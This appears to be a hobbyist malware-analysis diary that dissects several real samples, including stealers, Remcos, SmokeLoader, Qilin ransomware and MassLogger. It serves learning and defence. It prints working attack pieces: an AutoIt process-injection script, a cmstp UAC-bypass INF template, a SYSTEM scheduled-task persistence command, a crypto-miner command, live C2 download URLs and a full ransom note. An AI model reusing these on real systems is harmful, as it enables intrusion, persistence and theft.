My Analysis

Start-Process, will start the C:\Users\<user>\AppData\Local\updater.exe with Window Style hidden, Run as Administrator option, and -Wait is used to suppresses the command prompt until the processes finish.

finally part is used to remove clean everything, leave a fake message to Host and finish script.

Continue: 9e126eb3b73eeae34c46a4b3dc9dc184a19708fd2b2433302c69e6c06b3929ed

To start Analysis, I put updater.exe in %LOCALAPPDATA%. Uncheck "DLL can move" in DllCharacteristics. Load malware inside x32dbg

Checking the strings of malware, C2 server's http address can be seen: And as it can be seen from strings, malware utilizes third string as user_agent.

Now the important part for us is, CreateProcessW which creates another process of itself from same directory. My guess is, it is used for avoiding detection, later current process will write memory of child process:

in our case, 0x43C is handle to child process and 0x3FC0E60 is address of the data that will be written into 0x400000 and size is 0x400, this WriteProcessMemory will happen a lot of times in a row, especially in 7 times a row:

I dont want to list all WriteMemoryProcess as later we can just check 0x400000 in child process if needed. The last WriteProcessMemory address is 0xE4F008 (changes everytime).

as we move along, ResumeThread function is called in parent process, which will start the logger (child process). I attach debugger to child process and continue process in parent process.

After checking strings of child process, it can be seen, it needs 149 functions from these dlls: kernel32, ntdll, advapi32, user32, gdi32, shell32, ole32, ws2_32, shlwapi, wininet, bcrypt, dbghelp, msvcrt

Now the important part starts for us at 0x417210, analyzing this process step by step is a little difficult because of so many unnecessary/necessary jumps, there is just a lot, so it doesn't help. Even just putting breakpoints over the functions that process will call, can be easier.

Later in process, a new directory will be created under C:\ProgramData\ with random name. (in my case y5ppz)

InternetCrackUrlA will be called to crack https://t.me/l793oy into components

InternetConnectA used to connect t.me using handle returned by InternetOpenA

HttpOpenRequestA sends request using handle to t.me:

After t.me, process will do same things for https://e.mx.goldenloafuae.com which I suspect is C2. some sandboxes, analyzers didn't specify this url and at the moment this server is down.

As https://e.mx.goldenloafuae.com is still up, it was obvious that malware was sending, getting encrypted data. Such paths that were queried by malware were:

"C:\Users\eyes\AppData\Local\Google\Chrome\User Data\." "C:\Users\eyes\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn\."

Later the files that were found would be copied into the folder that was created by malware:

CopyFileA (function used) 1: "C:\Users\eyes\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn\000004.log" 2: "C:\ProgramData\y5ppz\jmgvk6ppph4e"

After sending files to attackers, malware deletes files.

I will also attach 1 example file that was copied (which is hard to make sense).

Also don't forget, in my case only Chrome was installed, so it only stole its logs. The malware looks for:

1. Microsoft Edge

   • Path: \Microsoft\Edge Beta\User Data

2. Google Chrome

   • Path: \Google\Chrome SxS\User Data

3. Microsoft Edge SxS

   • Path: \Microsoft\Edge SxS\User Data

4. Epic Privacy Browser

   • Path: \Epic Privacy Browser\User Data

5. CocCoc Browser

   • Path: \CocCoc\Browser\User Data

and the reason it checks extensions is:

1. TON Wallet

2. MyTonWallet

3. Alephium Wallet

4. Solflare

5. Trust Wallet

6. Hashpack

7. Leap Terra

8. Authenticator

9. Bitwarden

10. Oxygen (Atomic)

11. Ecto Wallet

12. Morphis Wallet

13. GeroWallet

14. UniSat Wallet

15. Pontem Wallet

16. Xverse Wallet

17. Venom Wallet

18. PaliWallet

19. Fluvi Wallet

20. Backpack Wallet

21. OKX Web3 Wallet

22. HAVAH Wallet

23. OpenMask Wallet

24. Rainbow Wallet

25. SafePal Wallet

26. KardiaChain

27. RoninWalletEdge

28. NamiWallet

29. KeePass Tusk

30. Frontier Wallet

31. Bitget Wallet

32. CyanoWallet

33. Ronin Wallet

34. MetaMask

35. Talisman Wallet

as it was clear how malware was functioning, I stopped analyzing. There were other notable functionalities of malware such as mapping hostnames of AVs to 127.0.0.1 so user will not be able to use any AV (Download or online check)

My suspicion is "https://t.me/l793oy" and "https://steamcommunity.com/profiles/76561199829660832" are used for C2 server

At the time of writing it is around a day that malicious script appeared in wild. To practice and improve myself I chose this malware.

For now in virustotal, it can be seen that malware is only detected by 9 AVs and the server for downloading second payload (png file) is still available to be downloaded.

Starting with analysis, The file's size is really big but only reason for it was repeat of same 10 lines.

Using ASCII table we can replace all occurrences of these variables with their Char values.

At first it looked like it is only repeating same 10 line for increasing file size (to look legit), but one more reason was probably trying to hide obfuscated code. (Maybe not but only good explanation is this)

At first it might not make sense but you can obviously see same pattern repeat in obfuscated code: "⏳लბ⣿༑₫ᨑԿ🖲ᅫҌ⊣ሒȪ⟚"

and payload use categorised(ByVal inputText) function to deobfuscate it. (By removing repeating line)

In this situation manually writing deobfuscater would be possible to but, it is waste of time. I just changed dozens = categorised(dozens) with WScript.Echo categorised(dozens) (Don't forget to only copy necessary parts in new file to avoid running something dangerous). I ran the code using cscript.exe to see output in my cmd.

Now to deobfuscate, we need to replace '#' with 'A' and convert base64 to string. Once again instead of using cyberchef I just run powershell code with removing Invoke-Expression and beautify it a little bit. This is the code that downloads second file. (png)

A day later, the malicious file was deleted from server but I installed it before, so I can continue my analysis. I will also upload file to malware bazaar for anyone that needs it to analyse on his own.

This image file has Data starting with '<<BASE64_START>>' and ends with '<<BASE64_END>>' after decoded it is uploaded to memory but I modified code and used function:

[System.IO.File]::WriteAllBytes("C:\dnlib_image.dll", $cleared)

to save it in a file and when we load this dll to dnspy-x86, it loads it as Microsoft.Win32.TaskScheduler, Version=1.1.0.0 and dnlib inside, which is necessary part of us:

You can check out Robson Felix's VMDetectorto understand how it works. I modified qemu strings in my system so I have 0 "qemu" string, which helps me avoid detection. this script is really basic as it checks for only "qemu" (easy to stay undetected). Note: Even though this malware has function to check detect vms, it doesn't use it. (if you remember the arguments given when VAI is called, they are necessary part of this function)

In next line we can see the malicious code calling specific function that is interesting for us, VAI.

some of the variable names are written in Spanish, which might be a tip for malware writer being Spanish. (Of course, it is not a guarantee)

I have written custom code in C# to be able to manually debug this dll.

The functions, VAI didn't use: persistence, startuptask, startupreg (even though it could). (To make it clear these are not function names, these are variables)

Moving on, startup_onstart is actually used, let's understand what it does. Before understanding the function, I retrivied Hashtable values that are used through dll and saved all of them to single file to make analysis easier.

This is the part we have to analyze now:

if (flag12)
{
	bool flag13 = !File.Exists(Path.Combine(caminho, nomedoarquivo + \uE11C.\uE000(12567) + extençao));
	bool flag14 = flag13;
	if (flag14)
	{
		Process.Start(new ProcessStartInfo
		{
			WindowStyle = ProcessWindowStyle.Hidden,
			FileName = \uE11C.\uE000(12607), // "cmd.exe"
			Arguments = string.Concat(new string[]
			{
				// "/C copy *."
				\uE11C.\uE000(12599),
				// "vbs"
				extençao,
				// " \""
				\uE11C.\uE000(12770),
				//  1. @"C:\ProgramData" 2. "millipascals"
				Path.Combine(caminho, nomedoarquivo), 
				// "."
				\uE11C.\uE000(12567),
				// "vbs"
				extençao,
				// "\""
				\uE11C.\uE000(12282)
			})
		}).WaitForExit();
	}
	Loader.ExecutarMetodoVAI(taskname, caminho, nomedoarquivo, extençao);
}

Basically checks if file exists, if not, starts new process: `cmd.exe /C copy *.vbs "C:\ProgramData\millipascals.vbs" copies the vbs file to its new location.

ExecutarMetodoVAI is called with arguments: "blinkered" @"C:\ProgramData" "millipascals" "vbs"

at first line, function searches for specific string in resources: string text = Array.Find<string>(Assembly.GetExecutingAssembly().GetManifestResourceNames(), new Predicate<string>(Loader.<>c.<>9.\uE000));

When using dnspy, it hides compiler generated types and modules by default which you need to enable.

The (Loader.<>c.<>9.\uE000) sets condition true if "string" ends with "UAC.dll" and in next lines, first stream is loaded into an array and array was loaded to caller program (powershell):

byte[] array;
using (Stream manifestResourceStream = Assembly.GetExecutingAssembly().GetManifestResourceStream(text))
{
	using (MemoryStream memoryStream = new MemoryStream())
	{
		manifestResourceStream.CopyTo(memoryStream);
		array = memoryStream.ToArray();
	}
}
Assembly assembly = Assembly.Load(array);

and calls "Main" method in UAC.dll (type:UAC.Program).

Which I will use new custom script to run it and debug manually.

First thing "UAC.dll" does is create a new string: @"cmd.exe /c powershell -Command ""schtasks /Create /TN 'blinkered' /TR 'wscript.exe C:\ProgramData\millipascals.vbs' /SC ONSTART /RL HIGHEST /RU SYSTEM /F""" with given parameters.

• Generates new inf file under temporary path.
• Changes "REPLACE_COMMAND_FILE" in private static string INF_TEMPLATE = "[version]\r\nSignature=$chicago$\r\nAdvancedINF=2.5\r\n\r\n[DefaultInstall]\r\nCustomDestination=CustInstDestSectionAllUsers\r\nRunPreSetupCommands=RunPreSetupCommandsSection\r\n\r\n[RunPreSetupCommandsSection]\r\nREPLACE_COMMAND_LINE\r\ntaskkill /IM cmstp.exe /F\r\n\r\n[CustInstDestSectionAllUsers]\r\n49000,49001=AllUSer_LDIDSection, 7\r\n\r\n[AllUSer_LDIDSection]\r\n\"HKLM\", \"SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\App Paths\\\\CMMGR32.EXE\", \"ProfileInstallPath\", \"%UnexpectedError%\", \"\"\r\n\r\n[Strings]\r\nServiceName=\"CorpVPN\"\r\nShortSvcName=\"CorpVPN\""; with the command created before.
• writes this to inf file.

Part 2:

• Checks if file: "C:\Windows\system32\cmstp.exe" exists.
• if it does, Start new process: C:\Windows\system32\cmstp.exe /au "<inf_file_path>"
• Basically creates new process to run at every startup for persistence purposes.
• Why use cmstp.exe? To avoid some detections.

That's all with UAC.dll, now we have to go back to dnlib.IO.Home.VAI.

To sum up, in next steps malicious dll function launches MsBuild.exe and modifies its code and resumes thread.

• new process: MsBuild.exe created.
• Allocate new space
• Write the malicious program at address: 0x400000

What I did was copy every data that is written and combine them to get a single exe file (Microsoft Visual C++ 8)

copy /b to400000.bin+to401000.bin+to459000.bin+to472000.bin+to478000.bin+to47D000.bin combined.exe

So, the reason malware loads the exe file into MsBuild.exe is actually utilizing its capabilities (and hiding). So it might be possible to debug program alone but it is hard, so I will just debug it inside MsBuild.exe. I also found a key point in code like this: unaff_ESI = FUN_0040e560(0x400000,0,pcVar7); which I guess probably where we need to start from, because inside this function, it is also prossible to clearly see some interesting strings. The strings clearly indicate the capabilities of malware: RAT, keylogger, stealer, logger.

By the way, Remcos RAT is available here to explore its capabilities.

After analyzing the exe file, the key points that can be addressed is:

1. Malware use GetProcAddress function to find address of the functions it is going to use (which can make static analysis a little bit difficult), but you can basically change heap variable name's function name (for example in ghidra)
2. Malware keep trying to connect with "relentlesswicked.duckdns.org"/"relentless.webredirect.org", which it can't, because it is down.
3. The rest is specifically about remcos itself which if needed can be analyzed on its own, and it is not that hard as it is not packed or obfuscated.

I started analyzing the malware for a day, mostly using dynamic analyse tools. Normally the file that is downloaded is around 100kb but after unpacking itself, it is around 30kb. We need to put hardware breakpoint at 0x401ae0 to be able to dynamically debug program. (Note: I also put software breakpoint but after breakpoint hit, I removed it for further analysing). Also I dumped process to ghidra, so I can do static analysis too. If you check memory in x32dbg or SystemInformer, everything can be Read/Written/Executed. That's why it can rewrite itself.

NOTE: The reason, we must not use software breakpoint is, it modifies malware's code by adding CC at start of the assembly code, unpacking the code will cause issues.

Later analyzing the code, I realized some parts of the executable is still encoded, I let malware execute itself till 0x401BCD so it can decode these parts, then dumped. Which later, I realized it didn't really decode and check ghidra again for any tips. There it is, code is actually decoding -> executing -> encoding itself. (Polymorphic) Which is why I couldn't do static analyzes:

What I will actually do is, again execute code but now, I will stop at when the part is executed so I can copy and paste it into my dumped exe file. For example, 0x40410a etc.

Alright so, I changed bytes of the parts we need for further analyzing. the first function at 0x40410a is putting functions' address from dlls to uninitialized DATAs:

(it is longer)

It will not be really hard to rename DATAs in ghidra to function names for static analysis. Which is what I am going to do next.

After Renaming variables, it is a lot more easier to do static analysing but there are still some functions that use decoder() function in itself. That means I have to also rewrite their bytes.

Okay so as I progress, I try as much as I can to do static analysis and understand each function, I did few discoveries and 1 of the important ones is:

As I renamed, it checks for file name and returns accordingly, in our case as I run it first time with random name, it will return 0x10 but there are other possibilities too, which I might check if needed. That's the exact way malware searches for file names:

Which is not that hard to understand.

Sadly, while analysing this malware, I had to take break for a while (final exams in university) so I couldn't focus on the malware. But I can say, I did important parts like decoding some parts, to explain what the dropper part does is, (not really dropper because malware itself is actually as a whole doing everything) just delete WinSrv32 file and terminate any process with this name, write itself (or a part of itself), I couldn't analyse these parts as I dont have a lot of time. then start executing itself from there. I will provide smokeloader ghidra zip, because I believe it is not something to drop in trash, maybe 1 day I might come back and look into this and finish the job. I dont really know. (ghidra zip is in same folder as this file). (also provided dd32 file to know where the breakpoint has to be).

So normally, it is easier to analyze .NET variants of this malware as there are nearly no obfuscation, (maybe some simple encryption and variable names) so I decided to get C++ compiled binary around 1mb and analyze it, but I checked binary graph, anti-debug techniques and I think only protection they put is, checking if "IsDebuggerPresent", like there is nothing else, everything is so clear so I will just list key points of malware.

First time I opened malware in ghidra, the thing that was so interesting to me was, there a lot of imports of APIs and none of them were hidden or anything. Just wanted to check 1 of the APIs, found reference to it and traced back to see where the call was from and I hit the jackpot.

The Function at 0x414800 :

As you can see there is "if" statement, why? at first it actually initialize, the struct of the functions, luckily all of them have clear names so it is easy to understand what they do. Alright so, after initializing, other functions can search for function names one by one and find the function they need. Also, malware gives an hint on what these are, if you try to search for references of "IsDebuggerPresent", you will find:

Funny right? Malware literally tells us everything we need. This is AutoIT script, If you wonder what it is, it is used for automation processes using keyboard, mouse movement etc. Note: You can also patch IsDebuggerPresent and debugger without any issue, or just use scyllahide.

Note 2: I also forgot to mention that in "strings" of the malware you can easily see BACKSPACE, ESC, Mouse related strings, numpad etc. the strings that are related to date/time etc.

What we found out so far is, malware is keylogger and botnet, maybe there are more that I missed but I believe I got everything right.

Now, to understand in which order the malware calls functions, I found a technique that you can also write r2 or x32dbg script to automate:

First we put breapoint at, 0x414800, after breakpoint is hit, you gonna see the value in stack is "0x0", so it is only for initialization stage, continue one more time and check call stack, call is from 0x41C64A.

So, it is obvious, this function searches for specific function name, if you put breakpoint at _wcscmp 0x41C654, you can see every function it tries to search for and maybe you can even trace into the functions for more detail.

I believe this is enough for SnakeKeylogger analysis.

Note: I usually analyze malware and write randomly to remember my progress, most of my reports are not detailed and clean, it is just like a diary.

Day 1:

I wanted to analyze my first ransomware to learn something new and chose AgendaRansomware (I don't really know why). Anyways this is a 1.6mb rustc compiled binary. At first sight, it feels like there is no deobfuscation and easy to analyze, but later on I found out, there is something disrupting static analysis. So far I found 2 things:

Ghidra can't disassemble because of these 2 additions made on malware, but luckly it is easy to fix, I will just write script to replace all of them with "NOP" and issue will (probably) going to be solved.

Other than that, I found out we have to provide "--password <pass>" to binary, else it will not be executed. That password is actually used later as login credential to a domain in tor network and requesting chiper/tool to decrypt files (by paying for it). Other than that, Malware also gives us logs:

[WARNING] Cannot open service: [BrokerInfrastructure]: 5                                                                Service [CryptSvc] stopped                                                                                              Service [CryptSvc] disabled                                                                                             Service [DoSvc] stopped                                                                                                 [WARNING] Cannot disable [DoSvc]: 5                                                                                     [WARNING] Cannot stop [netprofm]: 1061                                                                                  Service [netprofm] disabled                                                                                             [WARNING] Cannot stop [netprofm]: 1061                                                                                  Service [netprofm] disabled                                                                                             [WARNING] Cannot stop [NlaSvc]: 1051                                                                                    Service [NlaSvc] disabled                                                                                               [WARNING] Cannot stop [EventLog]: 1051                                                                                  Service [EventLog] disabled                                                                                             [WARNING] Cannot open service: [gpsvc]: 5                                                                               [WARNING] Cannot open service: [MDCoreSvc]: 5                                                                           [WARNING] Cannot open service: [mpssvc]: 5                                                                              [WARNING] Cannot stop [netprofm]: 1061                                                                                  Service [netprofm] disabled                                                                                             [WARNING] Cannot stop [NlaSvc]: 1051                                                                                    Service [NlaSvc] disabled 

And more, like which file it encrypted etc.

README-RECOVER-<extension>.txt contains this:

-- Qilin

Your network/system was encrypted.
Encrypted files have new extension.

-- Compromising and sensitive data

We have downloaded compromising and sensitive data from you system/network
If you refuse to communicate with us and we do not come to an agreementyour data will be published.
Data includes:
    - Employees personal dataCVsDLSSN.
    - Complete network map including credentials for local and remote services.
    - Financial information including clients databillsbudgetsannual reportsbank statements.
    - Complete datagrams/schemas/drawings for manufacturing in solidworks format
    - And more...

-- Warning

1) If you modify files - our decrypt software won't able to recover data
2) If you use third party software - you can damage/modify files (see item 1)
3) You need cipher key / our decrypt software to restore you files.
4) The police or authorities will not be able to help you get the cipher key. We encourage you to consider your decisions.

-- Recovery

1) Download tor browser: https://www.torproject.org/download/
2) Go to domain
3) Enter credentials


-- Credentials

Extension: MmXReVIxLV
Domain: ueegj65kwr3v3sjhli73gjtmfnh2uqlte3vyg2kkyqq7cja2yx2ptaad.onion
login: 6f031ccd-526a-4806-82a8-2e7d926243d4 
password: test

After walking inside the binary a little bit, i found out that, "CreateThread" functions play big role in the malware, in some parts of the malware, payloads are, let's say "hidden" and malware use "CreateThread" to start execution from these address. in ghidra they are not disassembled, instead shown as "DATA". My main purpose in this malware is finding out how the files are encrypted. Additionally, malware also disables some services, choosing which files to encrpyt (by comparing with the extensions), which I might look into deeply.

What I found out from dynamic analysis is, malware uses EnterCriticalSection API to check file extensions and encrypt if it doesn't get in conflict.

Day 2:

Alright so today I got a little bit near to success, as I found out where malware decrypts strings. And luckly it doesn't encrypt back so i can dump them all. it is going to help a lot for success.

Note: I will dump as many as strings possible (all of them) and save it in a file and save in github repo.

Additionally, I found out malware uses GetProcAddress to get NtWriteFile address and call it in a stealthy way. How it works is exactly like this:

Changes function itself with "NtWriteFile" address, so next time it calls this function, it actually calls itself. Same thing was done for other functions too, like: NtReadFile, NtCreateKeyedEvent...

Process of encryption:

NtCreateFile: get file handle NtQueryInformationVolume, NtQueryInformationFile: Check the extension of file (eg. .exe) compare with blacklisted extensions and choose to encrypt or not. The flags that can be configured before running ransomware are: skip, step, n, p, fast, accounts. In my version of agenda ransomware there is no guide on how to use them and some flags that are available in newer versions are not available to me. Example usage is this: " ./ransomware.exe --password test "skip: 10; fast" "

NtCloseFile

NtReadFile: Read contents, encypt them.

NtWriteFile: Write encrypted content.

Now, where is content encypted? in my version of agenda ransomware, function is located at 0x42edf0 which, using registers as arguments instead of stack. The decompiled function has length of around 875 lines, which is waste of time to analyze one by one. But it is the function. Additonally, analyzing this function will reveal the key itself.

MassLogger, an information-stealing malware designed to capture credentials, keystrokes, and clipboard data from victims, has been gaining prevalence in the threat landscape, with campaigns of various sizes and victimology observed worldwide. (Yes I copied this from broadcom lol)

Anyways, as usual I was on MalwareBazaar, wishing to find a fresh malware and the one that caught my eye was the MassLogger tagged bat file.

There are more example MassLogger executables uploaded by lowmal3, but I chose this one to analyze, because others were almost same thing and some of them were .Net executables, which is old technique used by MassLogger.

This is the malware flow I made while analyzing the malware:

NOTE: To make it clear, all these executables are injected into different legit applications and executed as new thread. i don't want to repeat it every time. At the top you can see a binary file named "sqNnY.bin", it will be our main target in this analysis but before that I want to tell what the other exe files does first. Starting from decrypted "aLlTeucWnrhechxHC.bin", first checks for debugger and simple VM detection (it is too easy to detect and bypass). Next "installer" is downloaded and executed, it drops new files and executes the au3 file. Last au3 file was most obfuscated one but it is not really difficult to deobfuscate it:

#cs
$vkkiihtobf = \nwekwowlwhwcogczoft
$nticu = C:\Windows\System32\charmap.exe
$cwipirw = kernel32.dll
$gsnfwdmcztclwcovhkqgi = OpenProcess
$gdixmilpmsosbp = VirtualAllocEx
$jecokuozjfa = WriteProcessMemory
$nhybphxljwzq = CreateRemoteThread
$rjhkweazp = CloseHandle
$fosxprdysmayinrykddwmelktkhpm = handle
$zixjs = dword
$xkitfxhddsbtsyuxw = bool
$lbcideknmrnsazvfazvjqox = ptr
$gbjoxnfcmfxrj = ulong_ptr
$gejrlpqkrcxnxubmbxdu = struct*
$buwqyl = dword*
$gvbdvltraydirvkh = byte[
$kplaadznpnfjmbmdfevat = ]
$mbklctvdfrnfgjakgsbqgx = 0x1F0FFF
$hnxremrogwsdjpoags = 0x3000
$invhvdcuydydlonc = 0x40
#ce

Global $pjbhqshpkkrdxsjiyzikstcp = FileOpen(@ScriptDir & $vkkiihtobf, 16)
Global $ewwhytiyydkuc = FileRead($pjbhqshpkkrdxsjiyzikstcp)
FileClose($pjbhqshpkkrdxsjiyzikstcp)

Global $mkzfc = BinaryLen($ewwhytiyydkuc)
If $mkzfc = 0 Then Exit

Global $mleqiqnnnbwglgehhkicmgaklppajh = DllStructCreate($gvbdvltraydirvkh & $mkzfc & $kplaadznpnfjmbmdfevat)
DllStructSetData($mleqiqnnnbwglgehhkicmgaklppajh, 1, $ewwhytiyydkuc)
For $rpmvy = 1 To $mkzfc
    DllStructSetData($mleqiqnnnbwglgehhkicmgaklppajh, 1, BitXOR(DllStructGetData($mleqiqnnnbwglgehhkicmgaklppajh, 1, $rpmvy), 185), $rpmvy)
Next

Global $yapoagjwmurj = Run($nticu, "", @SW_HIDE)
Global $lshbtrvzmznfktftandgtxfwse = DllCall($cwipirw, $fosxprdysmayinrykddwmelktkhpm, $gsnfwdmcztclwcovhkqgi, $zixjs, $mbklctvdfrnfgjakgsbqgx, $xkitfxhddsbtsyuxw, False, $zixjs, $yapoagjwmurj)[0]
Global $ynvhvx = DllCall($cwipirw, $lbcideknmrnsazvfazvjqox, $gdixmilpmsosbp, $fosxprdysmayinrykddwmelktkhpm, $lshbtrvzmznfktftandgtxfwse, $lbcideknmrnsazvfazvjqox, 0, $gbjoxnfcmfxrj, $mkzfc, $zixjs, $hnxremrogwsdjpoags, $zixjs, $invhvdcuydydlonc)[0]

DllCall($cwipirw, $xkitfxhddsbtsyuxw, $jecokuozjfa, $fosxprdysmayinrykddwmelktkhpm, $lshbtrvzmznfktftandgtxfwse, $lbcideknmrnsazvfazvjqox, $ynvhvx, $gejrlpqkrcxnxubmbxdu, $mleqiqnnnbwglgehhkicmgaklppajh, $gbjoxnfcmfxrj, $mkzfc, $lbcideknmrnsazvfazvjqox, 0)
Global $zsingslima = DllCall($cwipirw, $fosxprdysmayinrykddwmelktkhpm, $nhybphxljwzq, $fosxprdysmayinrykddwmelktkhpm, $lshbtrvzmznfktftandgtxfwse, $lbcideknmrnsazvfazvjqox, 0, $gbjoxnfcmfxrj, 0, $lbcideknmrnsazvfazvjqox, $ynvhvx, $lbcideknmrnsazvfazvjqox, 0, $zixjs, 0, $buwqyl, 0)[0]

If $zsingslima Then DllCall($cwipirw, $xkitfxhddsbtsyuxw, $rjhkweazp, $fosxprdysmayinrykddwmelktkhpm, $zsingslima)
DllCall($cwipirw, $xkitfxhddsbtsyuxw, $rjhkweazp, $fosxprdysmayinrykddwmelktkhpm, $lshbtrvzmznfktftandgtxfwse)

Comment section is added by me and removed other decryption parts to make it clear. this au3 will execute our last exe file named "nwekwowlwhwcogczoft".

"nwekwowlwhwcogczoft" is simple C2 that can do 3 things "exit", "update", "stealer".

Simple and clear flow:

1. Checks if "Software\rub" registry is written, if it is not created, tries to download "http://176.98.187.46:1778/stealer"
2. Checks if the size of "stealer" more than 1000000, if yes, executing it. else pass.
3. if "Software\rub" was not created, creates it.
4. Checks if a file named "paygab" exists in %LOCALAPPDATA%, if so, xor it with "0x60" and execute it.
5. if paygab doesn't exist, downloads "http://176.98.187.46:1778/miner" and executes it.
6. miner will check if "sigverif.exe" is running, if so terminates it.
7. Executes command:

C:\\Windows\\System32\\sigverif.exe --algo=rx/0 --url=gulf.moneroocean.stream:10001 --user=47GrvVWRXX9CbpQ7WKAqR1fP1fEYJpurvj8pAkF8FcgcUJTFi5KpTAmWxv4modTHTMNXZXSxa8K8SijdVHDiAUs69xgSt MY --pass=x --threads=2"

(I am providing the commands but please don't run them unless you want to donate to the malware developer)

8. Going back to "nwekwowlwhwcogczoft", after trying these things, it checks status of our machine by using InternetOpenUrl API "http://176.98.187.46:1778/heartbeat?userID=xxxx-xxxxx-xxxxx-xxxx" (userID is your machine GUID that got fetched by this executable before from registry) and using InternetReadFile API to check if there is any new command given by C2, as I said there are 3 commands "stealer"/"custom" (same thing), "exit", "update".
9. why "stealer/custom" can be given? because the one we downloaded before was actually decoy and size was lower than required. (why do this? to hide their project).
10. other 2 "exit" and "update" are obvious, what they are.

There is a few possible case in our situation:

1. the fake stealer is to take time of reverse engineers/malware analysts.
2. it only gives real stealer to trusted (real victim machines by looking at their behaviour), for example I acted different than usual machines while analysing, requesting file a lot of times without checking heartbeat etc.

This was end of the "nwekwowlwhwcogczoft" executable.

The real deal was actually, "sqNnY.bin". Fun part is, I actually thought this is trash code to take our time but it is actually, the main part of the malware. After "xor"-ing it with the key even after you check the file type, it says "not a PE file". Also there is no "MZ" at the first 2 bytes of file. After a little, let' say "OSINT", I found out the "pe to shellcode" project was used for doing this: pe_to_shellcode. A free but powerful project.

"The goal of this project is to provide a possibility to generate PE files that can be injected with minimal effort. It is inspired by Stephen Fewer's ReflectiveDLLInjection - but the difference is that with pe2shc you can add the reflective loading stub post-compilation. Also, the header of the PE file is modified in such a way, that you can start executing the injected buffer from the very beginning - just like you would do with a shellcode. It will automatically find the stub, and continue loading the full PE."

File is probably dropper, trying to install dangerous malware from spinistry.com.

The malware has actually a few more steps,, creating a new file to keep running from different directory. All files will be placed on the directory about analysis.

In our case fa132c7ca003a5fd97d96c3b656212802cf70f1735283b05144bdcae03e24894.exe is dropper.

I used Immunity Debugger for this analysis to learn working with it. Also I got screenshot of all instructions after binary is decompressed.

Explanation of instructions

0x401035: Handles are used to make sure only 1 process of malware is running, so nothing will go wrong. (If EAX is equal to -1 it will ExitProcess) 0x40104A: HeapCreate and tlAllocateHeap is mostly used for stealth and show the malware as legit software, but I don't really know the usage in this malware.

0x401080: Getting TempPath, such as: "C:\Windows\Users<username>\AppData\Local\Temp".

0x4010B2: Creates file named "rewok.exe" in Temp directory. (NOTE: rewok.exe is dropper's copy) In case of success program will continue, else LEAVE.

0x4011A5: I guess it opens Temp path.

0x4011F9 - 0x4012B2 - creates Http request:

• HTTP Headers
  • Method: GET
  • URI: /wp-share/7eve.exe
  • Version: HTTP/1.1
  • Accept: text/*, application/*
  • User-Agent: Updates downloader
  • Host: spinistry.com
  • Cache-Control: no-cache
  • Transport Layer Protocol: TCP
  • Destination IP: ``
  • Destination port: 443
  • SSL encrypted: Yes
  • Network mode: singlehost

If it has success it will ReadFile. (In our case it didn't, because it is late.)

0x40132F: Also, after success File is renamed rewoked.exe.

I guess it was everything about that dropper malware, I will attach all other files i used in analysis.

NOTE: I am new to Malware Analysis so I try to practice a lot to learn, if I make mistakes I would appreciate the help.

As I was looking out for new malwares appearing online, i saw another PE32 executable malware and just decided to check it out, this malware was actually pretty simple. The purpose of the malware is use as much resource (RAM, CPU) as possible by copying itself and creating new process of itself. But honestly it was good malware to help me improve myself.

Simple demonstration of malware's capability:

By just looking at it, it is obvious what type of API calls are made: NtReadFile NtCreateFile NtWriteFile CreateProcessW

When uploading malware to DIE (detect it easy), it shows .text section is packed or compressed. Which is not really our problem because the dangerous part of malware starts at 0x00429EA6. I wouldn't look at each assembly instruction starting from that address, but at 0x0042A34F things get a little bit interesting.

This part writes full path name of malware to data and moves data address to eax, result will be something like that: as you can see x32dbg shows what eax points to at the moment.

In this malware, internal functions within the VBA runtime environment have been called, which sadly didn't help me a lot, I couldn't get information about some functions like this one:

But one thing I know about this function is, it actually calls NtReadFile, which will copy our malicious binary into heap: (First 4 bytes are file's handle which was returned by NtOpenFile but I didn't specify it, as it didn't matter a lot) As you can see in stack, data will be copied to 0x55C1B0:

Later, the malware will create a full name for copying itself into that binary, which I didn't go deep into the creation process but that's how it looks: C:\\Users\\eyes\\Desktop\\Malware\\Unicorn-17737.exe

The part we have to check right now is: 0x0042A5DB-0x0042A614. Why? Because this is the part where data will be written into the "full path name" malware created:

We have a __vbaPutOwner3 function which will call NtWriteFile, it makes sense as __vbaGetOwner3 called NtReadFile.

File handle is 0x210 it was created when NtOpenFile was called (didn't specify it), Offset is 0x0 Size is 0x75005 (which is whole binary size) and 0x5DC1B0 is heap address where data resides.

Now one last thing is left, CreateProcessW, The call starts from 0x0042A614 to rtcShell which later Creates process.

The address is "string data" address of new created binary's full name:

And that's it, it will create new process and that process will create new one, it will continue forever.